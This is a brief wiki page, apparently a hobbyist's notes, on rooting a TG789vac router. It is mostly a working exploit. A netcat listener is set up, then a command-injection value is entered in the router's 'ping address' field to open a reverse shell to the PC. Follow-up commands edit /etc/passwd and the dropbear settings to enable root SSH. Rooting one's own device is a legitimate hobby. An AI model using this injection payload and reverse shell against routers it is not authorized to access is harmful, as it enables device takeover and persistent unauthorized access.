Rooting

Tested at 2019:

On local PC, open a listening socket like

nc -lvvp 8080

From the web interface, use the following "ping address" (where 192.168.1.100 is suppose to be the local PC):

:::::::;nc 192.168.1.100 8080 -e /bin/sh

Well done, it will be possible to enable the ssh user:

passwd
sed -i.save 's#root:/bin/false#root:/bin/ash#' /etc/passwd
sed -i.save 's/0/1/' /etc/config/dropbear
sed -i 's/off/on/' /etc/config/dropbear
sed -i "s/wan/lan/" /etc/config/dropbear
/etc/init.d/dropbear restart

Webography

MyWiki: TG789vac (last edited 2019-04-02 23:34:07 by risca)